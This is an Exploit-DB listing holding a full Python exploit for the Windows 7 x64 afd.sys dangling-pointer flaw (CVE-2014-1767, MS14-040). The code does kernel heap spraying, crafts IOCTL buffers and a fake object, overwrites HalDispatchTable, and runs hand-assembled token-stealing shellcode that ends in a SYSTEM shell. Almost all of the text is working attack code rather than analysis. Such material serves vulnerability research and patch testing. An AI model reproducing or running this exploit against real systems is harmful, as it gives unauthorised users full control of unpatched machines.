Microsoft Windows 7 (x64) - 'afd.sys' Dangling Pointer Privilege Escalation (MS14-040)

EDB-ID:

39525




Date:

2016-03-07


# Exploit Title: MS14-040 - AFD.SYS Dangling Pointer
# Date: 2016-03-03
# Exploit Author: Rick Larabee
# Vendor Homepage: www.microsoft.com
# Version: Windows 7, 64 bit
# Tested on: Win7 x64
#        afd.sys - 6.1.7601.17514
#        ntdll.dll - 6.1.7601.17514 
#
# CVE : CVE-2014-1767
# Category: Local Privilege Escalation
# References:
#   http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf
#   http://ricklarabee.blogspot.com/
#   https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/
#   https://technet.microsoft.com/en-us/library/security/ms14-040.aspx
#   http://www.cvedetails.com/cve/CVE-2014-1767/
#   https://github.com/zeroSteiner/mayhem/blob/master/mayhem/exploit/
#
# Greetz: PWN4GEPWN1E, SecurityMook


from ctypes import *
import socket, time, os, struct, sys
from ctypes.wintypes import HANDLE, DWORD
import platform

kernel32 = windll.kernel32
ntdll    = windll.ntdll
Psapi    = windll.Psapi

MEMRES     = (0x1000 | 0x2000)
PAGEEXE    = 0x40
Zerobits   = c_int(0)
RegionSize = c_ulonglong(0x1000)
written    = c_ulonglong(0)

FakeObjSize = 0x100

GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
GENERIC_EXECUTE = 0x20000000
GENERIC_ALL = 0x10000000
INVALID_HANDLE_VALUE = -1 

WSAGetLastError          = windll.Ws2_32.WSAGetLastError
WSAGetLastError.argtypes = ()
WSAGetLastError.restype  = c_int
SOCKET                   = c_int
WSASocket                = windll.Ws2_32.WSASocketA
WSASocket.argtypes       = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
WSASocket.restype        = SOCKET
closesocket              = windll.Ws2_32.closesocket
closesocket.argtypes     = (SOCKET,)
closesocket.restype      = c_int
connect                  = windll.Ws2_32.connect
connect.argtypes         = (SOCKET, c_void_p, c_int)
connect.restype          = c_int
HalDispatchTable         = c_uint64   

class sockaddr_in(Structure):
    _fields_ = [
        ("sin_family", c_short),
        ("sin_port", c_ushort),
        ("sin_addr", c_ulong),
        ("sin_zero", c_char * 8),
        ]   

kernel32.WriteProcessMemory.argtypes = [c_ulonglong, c_ulonglong, c_char_p,  c_ulonglong, POINTER(c_ulonglong)]        
ntdll.NtAllocateVirtualMemory.argtypes = [c_ulonglong, POINTER(c_ulonglong), c_ulonglong, POINTER(c_ulonglong),c_ulonglong,c_ulonglong]

def find_driver_base(driver=None):
	#https://github.com/zeroSteiner/mayhem/blob/master/mayhem/exploit/windows.py
	
	if platform.architecture()[0] == '64bit':
		lpImageBase = (c_ulonglong * 1024)()
		lpcbNeeded = c_longlong()
		Psapi.GetDeviceDriverBaseNameA.argtypes = [c_longlong, POINTER(c_char), c_uint32]
	else:
		#if process_is_wow64():
		#	raise RuntimeError('python running in WOW64 is not supported')
		lpImageBase = (c_ulong * 1024)()
		lpcbNeeded = c_long()
	driver_name_size = c_long()
	driver_name_size.value = 48
	Psapi.EnumDeviceDrivers(byref(lpImageBase), c_int(1024), byref(lpcbNeeded))
	for base_addr in lpImageBase:
		driver_name = c_char_p('\x00' * driver_name_size.value)
		if base_addr:
			Psapi.GetDeviceDriverBaseNameA(base_addr, driver_name, driver_name_size.value)
			if driver == None and driver_name.value.lower().find("krnl") != -1:
				return (base_addr, driver_name.value)
			elif driver_name.value.lower() == driver:
				return (base_addr, driver_name.value)
	return None		

def get_haldispatchtable():
    #https://github.com/zeroSteiner/mayhem/blob/master/mayhem/exploit/windows.py

	if platform.architecture()[0] == '64bit':
		kernel32.LoadLibraryExA.restype = c_uint64
		kernel32.GetProcAddress.argtypes = [c_uint64, POINTER(c_char)]
		kernel32.GetProcAddress.restype = c_uint64
	(krnlbase, kernelver) = find_driver_base()
	hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
	halDispatchTable = kernel32.GetProcAddress(hKernel, 'HalDispatchTable')
	halDispatchTable -= hKernel
	halDispatchTable += krnlbase
	return halDispatchTable

    
def CreateBuffer1(inbuf1addr):
    print "[+] Creating Buffer for IOCTL 0x1207F (afdTransmitFile) at: ", hex(inbuf1addr)
    inbuf1size = 0x40
    targetsize = 0x100
    virtualAddress = 0x13371337
    mdlsize = (pow(2, 0x0c) * (targetsize -0x30) / 8) - 0xfff - (virtualAddress & 0xfff) 

   
    inbuf1  = "\x41" * 0x20
    inbuf1 += struct.pack("Q", virtualAddress)    #0x1a
    inbuf1 += struct.pack("Q", mdlsize)
    inbuf1 += "\x42" * 4
    inbuf1 += "\x43" * 4
    inbuf1 += "\x01\x00\x00\x00"
    inbuf1 += "\x00\x00\x00\x00"
    inbuf1 += "\x00" * (inbuf1size - len(inbuf1))
       
    baseadd    = c_ulonglong(0x1001)
    
    dwStatus = ntdll.NtAllocateVirtualMemory(-1,
                                        byref(baseadd),
                                        0x0,
                                        byref(RegionSize),
                                        MEMRES,
                                        PAGEEXE)

    wpmStatus = kernel32.WriteProcessMemory(-1, inbuf1addr, inbuf1, inbuf1size, byref(written))
    
def CreateBuffer2(inbuf2addr):
    print "[+] Creating Buffer for IOCTL 0x120C3 (afdTransmitPacket) at: ", hex(inbuf2addr)
    inbuf2size = 0x18
    addrforbuf2 = 0x0AAAAAAA
   
    inbuf2 = struct.pack("Q", 0x1)
    inbuf2 += struct.pack("Q", addrforbuf2)
    inbuf2 += "\x00" * (inbuf2size -len(inbuf2))
       
    baseadd    = c_ulonglong(inbuf2addr+1)
    dwStatus = ntdll.NtAllocateVirtualMemory(-1,
                                        byref(baseadd),
                                        0x0,
                                        byref(RegionSize),
                                        MEMRES,
                                        PAGEEXE) 
    kernel32.WriteProcessMemory(-1, inbuf2addr, inbuf2, inbuf2size, byref(written))

def CreateFakeObject(firstWrite,fakeobjectaddr, setinfoworkerfactory):
    print "[+] Print creating fakeobject at ", hex(fakeobjectaddr)
    
    fakeobject2addr = setinfoworkerfactory - 0x18

    fakeobject2 = "\x00"*0x18 + struct.pack("Q", firstWrite)
    fakeobj2size = len(fakeobject2)
    kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written))

    objhead = ("\x00\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
               "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
               "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
               "\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x08\x00\x00\x00\x00\x00"
               "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")

    fakeobject = objhead
    fakeobject += struct.pack("Q", fakeobject2addr) + "\x41"*96
    fakeobject += "\x42" * (FakeObjSize - len(fakeobject))
    kernel32.WriteProcessMemory(-1, fakeobjectaddr, fakeobject, FakeObjSize, byref(written))   

def main():
    print "[+] creating socket..."
    sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0)

    if sock == -1:
        print "[-] no luck creating socket!"
        sys.exit(1)

    print "[+] got sock 0x%x" % sock

    addr = sockaddr_in()
    addr.sin_family = socket.AF_INET
    addr.sin_port = socket.htons(135)
    addr.sin_addr = socket.htonl(0x7f000001)

    connect(sock, byref(addr), sizeof(addr))

    print "[+] sock connected."
    print "[+] fill kernel heap"

    rgnarr = []
    nBottomRect = 0x02aaaaaa
    while(1):
        hrgn = windll.gdi32.CreateRoundRectRgn(0,0,1,nBottomRect,1,1)

        if hrgn == 0:
            break
        rgnarr.append(hrgn)
        print ".",


    print "\n[+] GO!"
    HalDispatchTable = get_haldispatchtable()
    print "[+] HalDispatchTable address:", hex(HalDispatchTable)
    # Win7 - x64 
    (halbase, dllname) = find_driver_base("hal.dll")
    OS = "7"
    if OS == "7":
        HaliQuerySystemInformation = halbase+0x398e8 # Offset for win7 x64
        _KPROCESS = "\x70"
        _TOKEN    = "\x08\x02"
        _UPID     = "\x80\x01"
        _APLINKS  = "\x88\x01"   

    print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation)

    IoStatus = c_ulonglong()
    IoStatusBlock = c_ulonglong()

    addrSetInfoWorkerFactory = 0x2218
    firstWriteAddr  = HalDispatchTable + 0x8 - 0x2C
    secondWriteAddr = firstWriteAddr + 0x4
    thirdWriteAddr = firstWriteAddr + 0x1

    shellcode_address   = c_ulonglong
    shellcode_address   = 0x0000000000002500
    what_address        = 0x0000250800002500
    what_part1          = what_address & 0xfffffff
    what_part2          = what_address >> 32 & 0xfffffff

    inbuf1 = 0x1000
    inbuf2 = 0x2000
    hWF = c_ulonglong(0)
    FakeWorkerFactoryADDR = 0x2100

    CreateBuffer1(inbuf1)
    CreateBuffer2(inbuf2)
    CreateFakeObject(firstWriteAddr, FakeWorkerFactoryADDR, addrSetInfoWorkerFactory)
    print ""
    print ""
    print "[*] Trigger IOCTL 0x1207f (afdTransmitFile) to setup the memory "
    print "[*] structures for phase 2 and fil the freed space with a "
    print "[*] WorkerFactory Object"
    raw_input("[+] Press Enter to trigger phase 1")
    ntdll.ZwDeviceIoControlFile.argtypes = [c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, POINTER(c_ulonglong), 
                                            c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong]
    status = ntdll.ZwDeviceIoControlFile(sock,0x0,0x0,0x0,byref(IoStatusBlock),0x1207f, inbuf1, 0x40, 0x0, 0x0)


    kernel32.CreateIoCompletionPort.argtypes = [c_ulonglong,c_ulonglong,c_ulonglong,c_ulonglong]
    CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, 0, 0, 0))

    ntdll.ZwCreateWorkerFactory.argtypes = [POINTER(c_ulonglong), c_ulonglong, c_ulonglong, c_void_p, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong]
    ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,0,CompletionPort,INVALID_HANDLE_VALUE,0,0,0,0,0)
    hWFaddr = hWF


    padding           = "\x90"*8
    HalDispatchTable0x8 = HalDispatchTable + 0x8

    sc_pointer = struct.pack("Q", shellcode_address+0x10)
    sc_pointer += struct.pack("Q", 0x25)   

    restore_ptrs =  "\x41\x51"                                                  +\
                    "\x41\x52"                                                  +\
                    "\x41\x53"                	                                +\
                    "\x49\xb9" + struct.pack("Q", HaliQuerySystemInformation)   +\
                    "\x49\xba" + struct.pack("Q", HalDispatchTable0x8)          +\
                    "\x4d\x89\x0a"
                    
    tokenstealing = "\x65\x4C\x8B\x0C\x25\x88\x01\x00\x00"      +\
                    "\x4D\x8B\x89" + _KPROCESS + "\x00\x00\x00" +\
                    "\x4D\x89\xCA"                              +\
                    "\x4D\x8B\x89" + _APLINKS + "\x00\x00"      +\
                    "\x49\x81\xE9" + _APLINKS + "\x00\x00"      +\
                    "\x49\x83\xB9" + _UPID + "\x00\x00\x04"     +\
                    "\x75\xe8"                                  +\
                    "\x4D\x8B\x89" + _TOKEN + "\x00\x00"        +\
                    "\x4D\x89\x8A" + _TOKEN + "\x00\x00"       

    fixobjheaders = "\x4d\x8b\x92\x00\x02\x00\x00" 	        +\
                    "\x4d\x89\xd1"             	            +\
                    "\x4d\x8b\x12"             	            +\
                    "\x41\xbb" + struct.pack("L", hWF.value)+\
                    "\x41\x83\xe3\xfc"                      +\
                    "\x4d\x01\xdb"                          +\
                    "\x4d\x01\xdb"                          +\
                    "\x4d\x01\xda"             	            +\
                    "\x49\xc7\x02\x00\x00\x00\x00" 	        +\
                    "\x49\x83\xc1\x58"          	        +\
                    "\x4d\x89\xca"             	            +\
                    "\x4d\x8b\x09"             	            +\
                    "\x49\x83\xe9\x01"                      +\
                    "\x4d\x89\x0a"             	            +\
                    "\x41\x5b"                              +\
                    "\x41\x5A"                              +\
                    "\x41\x59"                              +\
                    "\xc3" 
                   
    shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders
    shellcode_size    = len(shellcode)

    print "\n\n[+] Writing Shellcode at address: ", hex(shellcode_address)

    kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written))

    print "\n\n[*] Triggering IOCTL 0x120c3 (afdTransmitPackets) to free the"
    print "[*] WorkerFactory object created above and fill the freed object"
    print "[*] with a user controlled object to perform the necessary overwrites"
    raw_input("[+] Press Enter to trigger phase 2")

    ### Trigger 2
    ## afd!AfdTransmitPackets
    ntdll.ZwDeviceIoControlFile(sock,0x0,0x0,0x0,byref(IoStatusBlock),0x120c3, inbuf2, 0x18, 0x0, 0x0)

    ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False)
    ntdll.ZwSetInformationWorkerFactory(hWF, 8, what_part1, 0x4) 
    kernel32.WriteProcessMemory(-1, addrSetInfoWorkerFactory, struct.pack("Q", secondWriteAddr), 0x8, byref(written))
    ntdll.ZwSetInformationWorkerFactory(hWF, 8, what_part2, 0x4) 
    kernel32.WriteProcessMemory(-1, addrSetInfoWorkerFactory, struct.pack("Q", thirdWriteAddr), 0x8, byref(written))
    ntdll.ZwSetInformationWorkerFactory(hWF, 8, what_part2, 0x4) ;

    inp  = c_long()
    out  = c_long()
    inp  = 0x1337
    qip = ntdll.NtQueryIntervalProfile(inp, byref(out))
    print "[*] Spawning a SYSTEM shell..."
    os.system("cmd.exe /K cd c:\\windows\\system32")


if __name__ == "__main__":
    if platform.architecture()[0] == '64bit':
        main()
    else:
        print "Please use a 64 bit version of python"
        sys.exit()